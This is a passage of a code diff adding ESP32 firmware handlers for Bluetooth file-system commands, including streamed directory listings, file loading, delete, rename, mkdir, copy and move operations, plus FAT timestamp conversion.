continue; + } + + // Check if it's a directory + bool isDir = (fno.fname[0] != 0 && (fno.fattrib & AM_DIR) != 0); + + if (isDir) { + // Build full path + char dirPath[256]; + if (strcmp(path, "/") == 0) { + snprintf(dirPath, sizeof(dirPath), "/%s", fno.fname); + } else { + snprintf(dirPath, sizeof(dirPath), "%s/%s", path, fno.fname); + } + + uint8_t pathLen = (uint8_t)strlen(dirPath); + + // Check buffer space + if (offset + 1 + pathLen >= maxBufferSize) { + // Buffer full, cannot add more + break; + } + + buffer[offset++] = pathLen; + memcpy(buffer + offset, dirPath, pathLen); + offset += pathLen; + count++; + + // Recurse into subdirectory + buildDirectoryTreeBinaryRecursive(dirPath, buffer, offset, count, maxBufferSize); + } + + entriesProcessed++; + // Yield every 10 entries to prevent watchdog timeout + if (entriesProcessed % 10 == 0) { + vTaskDelay(pdMS_TO_TICKS(5)); + } + } + + f_closedir(&fatDir); + } + +public: + // Get files list - STREAMING BINARY PROTOCOL (no JSON!) + // Sends multiple messages for large directories to minimize memory usage. + // + // Response format (each message): + // [0xA1][pathLen:1][path:pathLen][flags:1][totalFiles:2][fileCount:1][files...] + // + // flags byte: + // bit 0 (0x01): hasMore - 1=more messages coming, 0=last message + // bit 7 (0x80): error - if set, bits 1-6 contain error code, fileCount=0 + // + // totalFiles: total number of files in directory (for progress calculation) + // fileCount: number of files in THIS message (1 byte, max 255) + // + // For each file: + // [nameLen:1][name:nameLen][fileFlags:1] + // If file (fileFlags & 0x01 == 0): + // [size:4][date:4] (little-endian) + // + // Error codes (when flags & 0x80): + // 1 = insufficient memory + // 2 = failed to create directory + // 3 = failed to open directory + // 4 = path is not a directory + // 5 = unknown error + static bool handleGetFilesList(const uint8_t* data, size_t len) { + // CRITICAL: Prevent concurrent execution + static bool isProcessing = false; + if (isProcessing) { + ESP_LOGW("FileCommands", "handleGetFilesList already in progress"); + return false; + } + + isProcessing = true; + bool success = false; + + if (len < 2) { + isProcessing = false; + return false; + } + + uint8_t pathLength = data[0]; + uint8_t pathType = data[1]; + + if (len < 2 + pathLength) { + isProcessing = false; + return false; + } + + // Build full path + const char* path = (pathLength > 0) ? reinterpret_cast(data + 2) : nullptr; + buildFullPath(pathType, path, pathLength, pathBuffer); + + // Check memory + if (ESP.getFreeHeap() < 3000) { + sendBinaryFileListError(1); + isProcessing = false; + return true; + } + + try { + // Prepare directory path without trailing slash + static PathBuffer dirPathWithoutSlash; + dirPathWithoutSlash.clear(); + const char* pathStr = pathBuffer.c_str(); + size_t pathStrLen = strlen(pathStr); + if (pathStrLen > 0 && pathStr[pathStrLen - 1] == '/') { + dirPathWithoutSlash.append(pathStr, pathStrLen - 1); + } else { + dirPathWithoutSlash.append(pathStr, pathStrLen); + } + + // Create directory if it doesn't exist (SD only, LittleFS dirs are implicit) + if (pathType != 4 && !SD.exists(dirPathWithoutSlash.c_str())) { + const char* dirPathStr = dirPathWithoutSlash.c_str(); + size_t dirPathLen = strlen(dirPathStr); + static PathBuffer currentPath; + + for (size_t i = 1; i < dirPathLen; i++) { + if (dirPathStr[i] == '/') { + currentPath.clear(); + currentPath.append(dirPathStr, i); + if (!SD.exists(currentPath.c_str())) { + SD.mkdir(currentPath.c_str()); + } + } + } + + if (!SD.mkdir(dirPathWithoutSlash.c_str())) { + sendBinaryFileListError(2); + isProcessing = false; + return true; + } + } + + // --- LittleFS listing (pathType 4) uses Arduino File API --- + if (pathType == 4) { + uint32_t streamStartTime = millis(); + const char* listPath = (dirPathWithoutSlash.size() > 0) + ? dirPathWithoutSlash.c_str() : "/"; + File root = LittleFS.open(listPath); + if (!root || !root.isDirectory()) { + if (root) root.close(); + // Try root "/" if requested path fails + root = LittleFS.open("/"); + if (!root) { + sendBinaryFileListError(3); + isProcessing = false; + return true; + } + } + + // Collect all entries (LittleFS typically has <10 files) + const size_t BUFFER_SIZE = 500; + static uint8_t binaryBuffer[BUFFER_SIZE]; + size_t pathLen = strlen(pathBuffer.c_str()); + uint16_t totalFilesSent = 0; + + size_t bufferOffset = 0; + binaryBuffer[bufferOffset++] = MSG_FILE_LIST; + binaryBuffer[bufferOffset++] = (uint8_t)pathLen; + memcpy(binaryBuffer + bufferOffset, pathBuffer.c_str(), pathLen); + bufferOffset += pathLen; + + size_t flagsOffset = bufferOffset++; + size_t totalFilesOffset = bufferOffset; + bufferOffset += 2; + size_t fileCountOffset = bufferOffset++; + + File child = root.openNextFile(); + while (child) { + const char* name = child.name(); + // Strip leading '/' if present + if (name[0] == '/') name++; + uint8_t nameLen = strlen(name); + if (nameLen > 255) nameLen = 255; + bool isDir = child.isDirectory(); + uint32_t fileSize = isDir ? 0 : child.size(); + + size_t entrySize = 1 + nameLen + 1 + (isDir ? 0 : 8); + if (bufferOffset + entrySize >= BUFFER_SIZE - 4) break; // safety margin + + binaryBuffer[bufferOffset++] = nameLen; + memcpy(binaryBuffer + bufferOffset, name, nameLen); + bufferOffset += nameLen; + binaryBuffer[bufferOffset++] = isDir ? 0x01 : 0x00; + + if (!isDir) { + binaryBuffer[bufferOffset++] = fileSize & 0xFF; + binaryBuffer[bufferOffset++] = (fileSize >> 8) & 0xFF; + binaryBuffer[bufferOffset++] = (fileSize >> 16) & 0xFF; + binaryBuffer[bufferOffset++] = (fileSize >> 24) & 0xFF; + // No timestamp available on LittleFS, send 0 + binaryBuffer[bufferOffset++] = 0; + binaryBuffer[bufferOffset++] = 0; + binaryBuffer[bufferOffset++] = 0; + binaryBuffer[bufferOffset++] = 0; + } + + totalFilesSent++; + child = root.openNextFile(); + } + root.close(); + + binaryBuffer[flagsOffset] = 0x00; // No more messages + binaryBuffer[fileCountOffset] = (uint8_t)totalFilesSent; + binaryBuffer[totalFilesOffset] = totalFilesSent & 0xFF; + binaryBuffer[totalFilesOffset + 1] = (totalFilesSent >> 8) & 0xFF; + + clients.notifyAllBinary(NotificationType::FileSystem, binaryBuffer, bufferOffset); + + uint32_t totalTime = millis() - streamStartTime; + ESP_LOGD("FileCommands", "LittleFS list: %d files, %lu ms", totalFilesSent, totalTime); + isProcessing = false; + return true; + } + + // Use FATFS directly for O(n) directory reading instead of O(nΒ²) + // Arduino's openNextFile() rescans from beginning each time + uint32_t streamStartTime = millis(); + + // Build FATFS path (needs /sd prefix for ESP32) + char fatfsPath[270]; + if (dirPathWithoutSlash.size() > 0) { + snprintf(fatfsPath, sizeof(fatfsPath), "/sd%s", dirPathWithoutSlash.c_str()); + } else { + snprintf(fatfsPath, sizeof(fatfsPath), "/sd%s", pathBuffer.c_str()); + } + + FF_DIR fatDir; + FILINFO fno; + FRESULT res = f_opendir(&fatDir, fatfsPath); + if (res != FR_OK) { + // Try without /sd prefix + res = f_opendir(&fatDir, dirPathWithoutSlash.c_str()); + if (res != FR_OK) { + sendBinaryFileListError(3); + isProcessing = false; + return true; + } + } + + // STREAMING: Use buffer that fits in single BLE chunk (MAX_CHUNK_SIZE = 500) + // BLE notify limit is 509 bytes, so 500 bytes data + 7 header + 1 checksum = 508 bytes total + const size_t BUFFER_SIZE = 500; + const size_t MAX_FILES_PER_MESSAGE = 50; // More files per message since reading is faster now + static uint8_t binaryBuffer[BUFFER_SIZE]; + + size_t pathLen = strlen(pathBuffer.c_str()); + + uint16_t totalFilesSent = 0; + bool hasMoreFiles = true; + bool lowMemory = false; + uint8_t messagesSent = 0; + + // Pending file info (when buffer is full, save file for next iteration) + static char pendingFilename[256]; + static bool hasPendingFile = false; + static bool pendingIsDir = false; + static uint32_t pendingFileSize = 0; + static uint32_t pendingFileDate = 0; + + hasPendingFile = false; + + while (hasMoreFiles && !lowMemory) { + uint32_t msgStartTime = millis(); + + // Build message header + size_t bufferOffset = 0; + binaryBuffer[bufferOffset++] = MSG_FILE_LIST; // 0xA1 + binaryBuffer[bufferOffset++] = (uint8_t)pathLen; + memcpy(binaryBuffer + bufferOffset, pathBuffer.c_str(), pathLen); + bufferOffset += pathLen; + + size_t flagsOffset = bufferOffset++; + size_t totalFilesOffset = bufferOffset; + bufferOffset += 2; + size_t fileCountOffset = bufferOffset++; + + uint8_t filesInThisMessage = 0; + + // First, add pending file from previous iteration + if (hasPendingFile) { + uint8_t nameLen = strlen(pendingFilename); + size_t entrySize = 1 + nameLen + 1 + (pendingIsDir ? 0 : 8); + + binaryBuffer[bufferOffset++] = nameLen; + memcpy(binaryBuffer + bufferOffset, pendingFilename, nameLen); + bufferOffset += nameLen; + binaryBuffer[bufferOffset++] = pendingIsDir ? 0x01 : 0x00; + + if (!pendingIsDir) { + binaryBuffer[bufferOffset++] = pendingFileSize & 0xFF; + binaryBuffer[bufferOffset++] = (pendingFileSize >> 8) & 0xFF; + binaryBuffer[bufferOffset++] = (pendingFileSize >> 16) & 0xFF; + binaryBuffer[bufferOffset++] = (pendingFileSize >> 24) & 0xFF; + binaryBuffer[bufferOffset++] = pendingFileDate & 0xFF; + binaryBuffer[bufferOffset++] = (pendingFileDate >> 8) & 0xFF; + binaryBuffer[bufferOffset++] = (pendingFileDate >> 16) & 0xFF; + binaryBuffer[bufferOffset++] = (pendingFileDate >> 24) & 0xFF; + } + + filesInThisMessage++; + totalFilesSent++; + hasPendingFile = false; + } + + // Read directory entries using FATFS - O(n) complexity! + while (filesInThisMessage < MAX_FILES_PER_MESSAGE) { + res = f_readdir(&fatDir, &fno); + if (res != FR_OK || fno.fname[0] == 0) { + // No more files + break; + } + + // Skip . and .. + if (fno.fname[0] == '.') continue; + + // Check memory + if (ESP.getFreeHeap() < 2000) { + lowMemory = true; + break; + } + + const char* filename = fno.fname; + uint8_t nameLen = strlen(filename); + if (nameLen > 255) nameLen = 255; + + bool isDir = (fno.fattrib & AM_DIR) != 0; + uint32_t fileSize = isDir ? 0 : fno.fsize; + + // Convert FAT date/time to Unix timestamp + // FAT date: bits 15-9=year-1980, 8-5=month, 4-0=day + // FAT time: bits 15-11=hour, 10-5=minute, 4-0=second/2 + uint16_t fatDate = fno.fdate; + uint16_t fatTime = fno.ftime; + + // Manual conversion to Unix timestamp (seconds since 1970) + int year = ((fatDate >> 9) & 0x7F) + 1980; + int month = ((fatDate >> 5) & 0x0F); + int day = fatDate & 0x1F; + int hour = (fatTime >> 11) & 0x1F; + int minute = (fatTime >> 5) & 0x3F; + int second = (fatTime & 0x1F) * 2; + + // Days from 1970 to year + uint32_t days = 0; + for (int y = 1970; y < year; y++) { + days += (y % 4 == 0 && (y % 100 != 0 || y % 400 == 0)) ? 366 : 365; + } + // Days in current year + static const int monthDays[] = {0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334}; + if (month >= 1 && month <= 12) { + days += monthDays[month - 1]; + // Leap year adjustment + if (month > 2 && (year % 4 == 0 && (year % 100 != 0 || year % 400 == 0))) { + days++; + } + } + days += (day > 0 ? day - 1 : 0); + + uint32_t fileDate = days * 86400 + hour * 3600 + minute * 60 + second; + + // Calculate entry size + size_t entrySize = 1 + nameLen + 1 + (isDir ? 0 : 8); + + // Check if entry fits in remaining buffer space + if (bufferOffset + entrySize >= BUFFER_SIZE - 16) { + // Buffer full - save this file for next iteration + strncpy(pendingFilename, filename, sizeof(pendingFilename) - 1); + pendingFilename[sizeof(pendingFilename) - 1] = 0; + pendingIsDir = isDir; + pendingFileSize = fileSize; + pendingFileDate = fileDate; + hasPendingFile = true; + break; + } + + // Add file entry to buffer + binaryBuffer[bufferOffset++] = nameLen; + memcpy(binaryBuffer + bufferOffset, filename, nameLen); + bufferOffset += nameLen; + binaryBuffer[bufferOffset++] = isDir ? 0x01 : 0x00; + + if (!isDir) { + binaryBuffer[bufferOffset++] = fileSize & 0xFF; + binaryBuffer[bufferOffset++] = (fileSize >> 8) & 0xFF; + binaryBuffer[bufferOffset++] = (fileSize >> 16) & 0xFF; + binaryBuffer[bufferOffset++] = (fileSize >> 24) & 0xFF; + binaryBuffer[bufferOffset++] = fileDate & 0xFF; + binaryBuffer[bufferOffset++] = (fileDate >> 8) & 0xFF; + binaryBuffer[bufferOffset++] = (fileDate >> 16) & 0xFF; + binaryBuffer[bufferOffset++] = (fileDate >> 24) & 0xFF; + } + + filesInThisMessage++; + totalFilesSent++; + + // Yield every 20 files to prevent watchdog (faster now, so less frequent) + if (filesInThisMessage % 20 == 0) { + vTaskDelay(pdMS_TO_TICKS(1)); + } + } + uint32_t readTime = millis() - msgStartTime; + + // Check if we read all files (no pending and last f_readdir returned empty) + if (!hasPendingFile && (res != FR_OK || fno.fname[0] == 0)) { + hasMoreFiles = false; + } + + // Update flags and fileCount + binaryBuffer[flagsOffset] = hasMoreFiles ? 0x01 : 0x00; + binaryBuffer[fileCountOffset] = filesInThisMessage; + + // Set totalFiles: 0xFFFF if more coming, actual count if this is last message + if (hasMoreFiles) { + binaryBuffer[totalFilesOffset] = 0xFF; + binaryBuffer[totalFilesOffset + 1] = 0xFF; + } else { + binaryBuffer[totalFilesOffset] = totalFilesSent & 0xFF; + binaryBuffer[totalFilesOffset + 1] = (totalFilesSent >> 8) & 0xFF; + } + + // Send this message + if (filesInThisMessage > 0 || !hasMoreFiles) { + clients.notifyAllBinary(NotificationType::FileSystem, binaryBuffer, bufferOffset); + messagesSent++; + + // Log only in debug mode to save resources in production + ESP_LOGD("FileCommands", "Msg %d: %d files, read=%lums", + messagesSent, filesInThisMessage, readTime); + + // Small delay to allow mobile app to process chunks and update UI + // Reduced from 150ms to 50ms - chunk processing is fast, and we have + // improved chunk buffer cleanup on mobile side. BLE notifications are queued, + // so this prevents overwhelming the receiver while still being responsive + // In production, reduce delay slightly for better performance + vTaskDelay(pdMS_TO_TICKS(30)); + } + + // Safety: prevent infinite loop + if (filesInThisMessage == 0 && !hasPendingFile) { + hasMoreFiles = false; + } + } + + f_closedir(&fatDir); + + uint32_t totalTime = millis() - streamStartTime; + // Log only in debug mode to save resources in production + ESP_LOGD("FileCommands", "File list complete: %d files, %d msgs, %lu ms total", + totalFilesSent, messagesSent, totalTime); + success = true; + + } catch (...) { + sendBinaryFileListError(5); + } + + isProcessing = false; + return success; + } + + // Send binary error response for file list + // flags byte has bit 7 set (0x80) plus error code in bits 0-6 + static void sendBinaryFileListError(uint8_t errorCode) { + size_t pathLen = strlen(pathBuffer.c_str()); + static uint8_t errorBuffer[264]; + size_t offset = 0; + + errorBuffer[offset++] = MSG_FILE_LIST; // 0xA1 + errorBuffer[offset++] = (uint8_t)pathLen; + memcpy(errorBuffer + offset, pathBuffer.c_str(), pathLen); + offset += pathLen; + errorBuffer[offset++] = 0x80 | (errorCode & 0x7F); // Error flag + error code + errorBuffer[offset++] = 0; // totalFiles low = 0 + errorBuffer[offset++] = 0; // totalFiles high = 0 + errorBuffer[offset++] = 0; // fileCount = 0 + + clients.notifyAllBinary(NotificationType::FileSystem, errorBuffer, offset); + } + + // Send binary result for file action (delete, rename, etc.) + static void sendBinaryFileActionResult(uint8_t action, bool success, uint8_t errorCode, const char* path = nullptr) { + static uint8_t resultBuffer[260]; + size_t offset = 0; + uint8_t pathLen = path ? (uint8_t)strlen(path) : 0; + + resultBuffer[offset++] = MSG_FILE_ACTION_RESULT; + resultBuffer[offset++] = action; + resultBuffer[offset++] = success ? 0 : 1; + resultBuffer[offset++] = errorCode; + resultBuffer[offset++] = pathLen; + if (pathLen > 0) { + memcpy(resultBuffer + offset, path, pathLen); + offset += pathLen; + } + + clients.notifyAllBinary(NotificationType::FileSystem, resultBuffer, offset); + } + + // Load file data + static bool handleLoadFileData(const uint8_t* data, size_t len) { + if (len < 2) { + return false; + } + + uint8_t pathLength = data[0]; + uint8_t pathType = data[1]; + + if (len < 2 + pathLength) { + return false; + } + + // Use helper function to build path + const char* path = (pathLength > 0) ? reinterpret_cast(data + 2) : nullptr; + buildFullPath(pathType, path, pathLength, pathBuffer); + + ESP_LOGI("FileCommands", "Final path: '%s'", pathBuffer.c_str()); + + // Check file existence + fs::FS& fs = getFS(pathType); + if (!fs.exists(pathBuffer.c_str())) { + sendBinaryFileActionResult(7, false, 3, pathBuffer.c_str()); // 7=load, error 3=not found + return true; + } + + // STREAM file directly to BLE (NO buffering entire file!) + File file = fs.open(pathBuffer.c_str(), FILE_READ); + if (!file) { + sendBinaryFileActionResult(7, false, 13, pathBuffer.c_str()); // error 13=failed to open + return true; + } + + size_t fileSize = file.size(); + ESP_LOGI("FileCommands", "Streaming file: %zu bytes", fileSize); + + // Build header: [0xA0][pathLen:1][path][fileSize:4] + size_t fullPathLen = strlen(pathBuffer.c_str()); + const size_t MAX_HEADER_SIZE = 256; + uint8_t header[MAX_HEADER_SIZE]; + + if (1 + 1 + fullPathLen + 4 > MAX_HEADER_SIZE) { + file.close(); + sendBinaryFileActionResult(7, false, 14, "Path too long"); // error 14=path too long + return true; + } + + size_t offset = 0; + header[offset++] = 0xA0; // MSG_FILE_CONTENT + header[offset++] = (uint8_t)fullPathLen; + memcpy(header + offset, pathBuffer.c_str(), fullPathLen); + offset += fullPathLen; + + // File size (4 bytes, little-endian) + header[offset++] = (fileSize >> 0) & 0xFF; + header[offset++] = (fileSize >> 8) & 0xFF; + header[offset++] = (fileSize >> 16) & 0xFF; + header[offset++] = (fileSize >> 24) & 0xFF; + + size_t headerSize = offset; + + // TRUE STREAMING: Use BLE adapter's streaming method + BleAdapter* bleAdapter = BleAdapter::getInstance(); + if (bleAdapter != nullptr) { + bleAdapter->streamFileData(header, headerSize, file, fileSize); + file.close(); + } else { + file.close(); + sendBinaryFileActionResult(7, false, 15, "BLE adapter not found"); // error 15=no adapter + } + + return true; + } + + static bool handleRemoveFile(const uint8_t* data, size_t len) { + if (len < 2) { + sendBinaryFileActionResult(1, false, 1); // 1=delete, error 1=insufficient data + return false; + } + + uint8_t pathLength = data[0]; + uint8_t pathType = data[1]; + if (len < 2 + pathLength) { + sendBinaryFileActionResult(1, false, 2); // error 2=path length mismatch + return false; + } + + // Build full path using helper function + const char* path = reinterpret_cast(data + 2); + buildFullPath(pathType, path, pathLength, pathBuffer); + + // Check if path exists + fs::FS& fs = getFS(pathType); + if (!fs.exists(pathBuffer.c_str())) { + sendBinaryFileActionResult(1, false, 3, pathBuffer.c_str()); // error 3=not found + return false; + } + + // Check if it's a directory or file and remove accordingly + File file = fs.open(pathBuffer.c_str()); + bool isDirectory = file.isDirectory(); + file.close(); + + bool ok = false; + if (isDirectory) { + ok = fs.rmdir(pathBuffer.c_str()); + } else { + ok = fs.remove(pathBuffer.c_str()); + } + + sendBinaryFileActionResult(1, ok, ok ? 0 : 4, pathBuffer.c_str()); // error 4=delete failed + return ok; + } + + static bool handleRenameFile(const uint8_t* data, size_t len) { + if (len < 3) { + sendBinaryFileActionResult(2, false, 1); // 2=rename, error 1=insufficient data + return false; + } + + uint8_t pathType = data[0]; + uint8_t fromLength = data[1]; + if (len < 2 + fromLength + 1) { + sendBinaryFileActionResult(2, false, 5); // error 5=to length missing + return false; + } + + const char* fromPtr = reinterpret_cast(data + 2); + uint8_t toLength = data[2 + fromLength]; + if (len < 3 + fromLength + toLength) { + sendBinaryFileActionResult(2, false, 2); // error 2=path length mismatch + return false; + } + const char* toPtr = reinterpret_cast(data + 3 + fromLength); + + // Build full paths using helper functions + buildFullPath(pathType, fromPtr, fromLength, pathBuffer); + + // Use a temporary PathBuffer for "to" path (we need both paths) + static PathBuffer toPathBuffer; + buildFullPath(pathType, toPtr, toLength, toPathBuffer); + + fs::FS& fs = getFS(pathType); + bool ok = fs.exists(pathBuffer.c_str()) && fs.rename(pathBuffer.c_str(), toPathBuffer.c_str()); + + sendBinaryFileActionResult(2, ok, ok ? 0 : 6, toPathBuffer.c_str()); // 2=rename, error 6=rename failed + return ok; + } + + static bool handleCreateDirectory(const uint8_t* data, size_t len) { + if (len < 2) { + sendBinaryFileActionResult(3, false, 1); // 3=mkdir, error 1=insufficient data + return false; + } + + uint8_t pathLength = data[0]; + uint8_t pathType = data[1]; + if (len < 2 + pathLength) { + sendBinaryFileActionResult(3, false, 2); // error 2=path length mismatch + return false; + } + + // Build paths using helper functions + const char* dirPtr = reinterpret_cast(data + 2); + buildFullPath(pathType, dirPtr, pathLength, pathBuffer); + + // Get base directory for checking/creating + static PathBuffer baseDirBuffer; + buildBasePath(pathType, baseDirBuffer); + + fs::FS& fs = getFS(pathType); + bool ok = fs.exists(baseDirBuffer.c_str()) || fs.mkdir(baseDirBuffer.c_str()); + if (ok) { + // Create the subdirectory + if (!fs.exists(pathBuffer.c_str())) { + ok = fs.mkdir(pathBuffer.c_str()); + } + } + + sendBinaryFileActionResult(3, ok, ok ? 0 : 7, pathBuffer.c_str()); // 3=mkdir, error 7=mkdir failed + return ok; + } + + static bool handleSaveToSignalsWithName(const uint8_t* data, size_t len) { + if (len < 3) { + sendBinaryFileActionResult(4, false, 1); // 4=copy, error 1=insufficient data + return false; + } + + // Parse source path length, target name length, and path type + uint8_t sourcePathLength = data[0]; + uint8_t targetNameLength = data[1]; + uint8_t pathType = data[2]; + + if (len < 3 + sourcePathLength + targetNameLength) { + sendBinaryFileActionResult(4, false, 8); // error 8=path lengths mismatch + return false; + } + + // Extract source path + if (sourcePathLength == 0 || sourcePathLength >= pathBuffer.capacity()) { + sendBinaryFileActionResult(4, false, 9); // error 9=invalid source length + return false; + } + + const char* sourcePath = reinterpret_cast(&data[3]); + pathBuffer.clear(); + pathBuffer.append(sourcePath, sourcePathLength); + + // Extract target name to temporary buffer + const char* targetName = reinterpret_cast(&data[3 + sourcePathLength]); + static PathBuffer targetNameBuffer; + targetNameBuffer.clear(); + targetNameBuffer.append(targetName, targetNameLength); + + // Check if date is provided (4 bytes after target name) + uint32_t fileDate = 0; + bool hasDate = false; + size_t expectedLen = 3 + sourcePathLength + targetNameLength; + if (len >= expectedLen + 4) { + // Read date (Unix timestamp in seconds, little-endian) + fileDate = data[expectedLen] | + (data[expectedLen + 1] << 8) | + (data[expectedLen + 2] << 16) | + (data[expectedLen + 3] << 24); + hasDate = true; + ESP_LOGI("FileCommands", "Date bytes: %02X %02X %02X %02X -> timestamp=%lu", + data[expectedLen], data[expectedLen + 1], data[expectedLen + 2], data[expectedLen + 3], + (unsigned long)fileDate); + } else { + ESP_LOGI("FileCommands", "No date provided: len=%zu, expected=%zu", len, expectedLen + 4); + } + + ESP_LOGI("FileCommands", "SaveToSignalsWithName: sourcePath=%s, targetName=%s, pathType=%d%s", + pathBuffer.c_str(), targetNameBuffer.c_str(), pathType, + hasDate ? ", date provided" : ""); + + // Build destination path using helper function + static PathBuffer destPathBuffer; + buildBasePath(pathType, destPathBuffer); + destPathBuffer.append("/"); + destPathBuffer.append(targetNameBuffer.c_str()); + + // Source is always on SD (absolute path from RECORDS/SIGNALS) + // Destination uses the pathType filesystem + fs::FS& destFS = getFS(pathType); + + // Check if source file exists (source is always SD) + if (!SD.exists(pathBuffer.c_str())) { + sendBinaryFileActionResult(4, false, 3, pathBuffer.c_str()); // error 3=not found + return false; + } + + // Create destination directory if it doesn't exist + static PathBuffer baseDirBuffer; + buildBasePath(pathType, baseDirBuffer); + if (baseDirBuffer.size() > 0 && !destFS.exists(baseDirBuffer.c_str())) { + destFS.mkdir(baseDirBuffer.c_str()); + } + + // Copy file from source to destination + File sourceFile = SD.open(pathBuffer.c_str(), FILE_READ); + if (!sourceFile) { + sendBinaryFileActionResult(4, false, 10, pathBuffer.c_str()); // error 10=failed to open source + return false; + } + + File destFile = destFS.open(destPathBuffer.c_str(), FILE_WRITE); + if (!destFile) { + sourceFile.close(); + sendBinaryFileActionResult(4, false, 11, destPathBuffer.c_str()); // error 11=failed to create dest + return false; + } + + // Buffer-based file copy (512 bytes at a time) + if (!bufferedFileCopy(sourceFile, destFile)) { + ESP_LOGE("FileCommands", "Buffered copy failed"); + } + + sourceFile.close(); + destFile.close(); + + // Set file date if provided (must be done immediately after close, before releasing mutex) + if (hasDate && fileDate > 0) { + ESP_LOGI("FileCommands", "Setting file date: timestamp=%lu", (unsigned long)fileDate); + + // Manual conversion from Unix timestamp to FAT date/time (avoid gmtime stack issues) + uint32_t days = fileDate / 86400; + uint32_t seconds = fileDate % 86400; + + // Calculate year (simplified, good for 1980-2100) + uint32_t year = 1970; + uint32_t dayOfYear = days; + while (dayOfYear >= 365) { + bool isLeap = (year % 4 == 0 && (year % 100 != 0 || year % 400 == 0)); + uint32_t daysInYear = isLeap ? 366 : 365; + if (dayOfYear >= daysInYear) { + dayOfYear -= daysInYear; + year++; + } else { + break; + } + } + + // Calculate month and day + uint32_t month = 1; + uint32_t day = dayOfYear + 1; + const uint8_t daysInMonth[] = {31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31}; + bool isLeap = (year % 4 == 0 && (year % 100 != 0 || year % 400 == 0)); + + for (uint32_t m = 0; m < 12; m++) { + uint32_t daysInM = daysInMonth[m]; + if (m == 1 && isLeap) daysInM = 29; + if (day > daysInM) { + day -= daysInM; + month++; + } else { + break; + } + } + + // Calculate hour, minute, second + uint32_t hour = seconds / 3600; + uint32_t minute = (seconds % 3600) / 60; + uint32_t second = seconds % 60; + + ESP_LOGI("FileCommands", "Converted date: %04lu-%02lu-%02lu %02lu:%02lu:%02lu", + (unsigned long)year, (unsigned long)month, (unsigned long)day, + (unsigned long)hour, (unsigned long)minute, (unsigned long)second); + + if (year >= 1980 && year < 2108) { + FILINFO fno; + fno.fname[0] = '\0'; + + // FAT date: bits 15-9=year-1980, 8-5=month, 4-0=day + fno.fdate = ((year - 1980) << 9) | (month << 5) | day; + // FAT time: bits 15-11=hour, 10-5=minute, 4-0=second/2 + fno.ftime = (hour << 11) | (minute << 5) | (second / 2); + + ESP_LOGI("FileCommands", "FAT date=0x%04X, time=0x%04X", fno.fdate, fno.ftime); + + // Use FATFS directly with the destination path (no /sd prefix needed for f_utime) + // f_utime works with the path as used by SD library + ESP_LOGI("FileCommands", "Setting time on file: %s", destPathBuffer.c_str()); + + // Try to set time using f_utime directly (doesn't require file to be open) + FRESULT res = f_utime(destPathBuffer.c_str(), &fno); + if (res == FR_OK) { + ESP_LOGI("FileCommands", "File time set successfully"); + } else { + ESP_LOGW("FileCommands", "f_utime failed: %d, trying with file open", res); + + // Fallback: open file and try again + FIL file; + res = f_open(&file, destPathBuffer.c_str(), FA_WRITE | FA_OPEN_EXISTING); + if (res == FR_OK) { + // Try f_utime again with file open + res = f_utime(destPathBuffer.c_str(), &fno); + f_close(&file); + + if (res == FR_OK) { + ESP_LOGI("FileCommands", "File time set successfully (with file open)"); + } else { + ESP_LOGW("FileCommands", "f_utime failed even with file open: %d", res); + } + } else { + ESP_LOGW("FileCommands", "Failed to open file for time setting: %d", res); + } + } + } else { + ESP_LOGW("FileCommands", "Year %lu out of range (1980-2107)", (unsigned long)year); + } + } + + ESP_LOGI("FileCommands", "File copied successfully: %s -> %s%s", + pathBuffer.c_str(), destPathBuffer.c_str(), + hasDate ? " (date preserved)" : ""); + + // Send success response + sendBinaryFileActionResult(4, true, 0, destPathBuffer.c_str()); + + return true; + } + + // Copy file + static bool handleCopyFile(const uint8_t* data, size_t len) { + if (len < 3) { + sendBinaryFileActionResult(4, false, 1); // 4=copy, error 1=insufficient data + return false; + } + + uint8_t pathType = data[0]; + uint8_t sourceLength = data[1]; + if (len < 2 + sourceLength + 1) { + sendBinaryFileActionResult(4, false, 12); // error 12=dest length missing + return false; + } + + const char* sourcePtr = reinterpret_cast(data + 2); + uint8_t destLength = data[2 + sourceLength]; + if (len < 3 + sourceLength + destLength) { + sendBinaryFileActionResult(4, false, 2); // error 2=path length mismatch + return false; + } + const char* destPtr = reinterpret_cast(data + 3 + sourceLength); + + // Build full paths + buildFullPath(pathType, sourcePtr, sourceLength, pathBuffer); + + static PathBuffer destPathBuffer; + buildFullPath(pathType, destPtr, destLength, destPathBuffer); + + // Use correct filesystem for the pathType + fs::FS& fs = getFS(pathType); + + // Check if source exists + if (!fs.exists(pathBuffer.c_str())) { + sendBinaryFileActionResult(4, false, 3, pathBuffer.c_str()); // error 3=not found + return false; + } + + // Copy file using buffered transfer + File sourceFile = fs.open(pathBuffer.c_str(), FILE_READ); + if (!sourceFile) { + sendBinaryFileActionResult(4, false, 10, pathBuffer.c_str()); + return false; + } + + File destFile = fs.open(destPathBuffer.c_str(), FILE_WRITE); + if (!destFile) { + sourceFile.close(); + sendBinaryFileActionResult(4, false, 11, destPathBuffer.c_str()); + return false; + } + + if (!bufferedFileCopy(sourceFile, destFile)) { + ESP_LOGE("FileCommands", "Buffered copy failed"); + } + + sourceFile.close(); + destFile.close(); + + sendBinaryFileActionResult(4, true, 0, destPathBuffer.c_str()); + return true; + } + + // Move file - supports different pathType for source and destination + // Format: [sourcePathType:1][destPathType:1][sourcePathLength:1][sourcePath:variable][destPathLength:1][destPath:variable] + static bool handleMoveFile(const uint8_t* data, size_t len) { + if (len < 4) { + sendBinaryFileActionResult(5, false, 1); // 5=move, error 1=insufficient data + return false; + } + + uint8_t sourcePathType = data[0]; + uint8_t destPathType = data[1]; + uint8_t sourceLength = data[2]; + if (len < 3 + sourceLength + 1) { + sendBinaryFileActionResult(5, false, 12); // error 12=dest length missing + return false; + } + + const char* sourcePtr = reinterpret_cast(data + 3); + uint8_t destLength = data[3 + sourceLength]; + if (len < 4 + sourceLength + destLength) { + sendBinaryFileActionResult(5, false, 2); // error 2=path length mismatch + return false; + } + const char* destPtr = reinterpret_cast(data + 4 + sourceLength); + + // Build full paths using respective pathTypes + buildFullPath(sourcePathType, sourcePtr, sourceLength, pathBuffer); + + static PathBuffer destPathBuffer; + buildFullPath(destPathType, destPtr, destLength, destPathBuffer); + + // Use correct filesystem for each pathType + fs::FS& srcFS = getFS(sourcePathType); + fs::FS& dstFS = getFS(destPathType); + + // Check if source exists + if (!srcFS.exists(pathBuffer.c_str())) { + sendBinaryFileActionResult(5, false, 3, pathBuffer.c_str()); // error 3=not found + return false; + } + + // If moving within the same storage 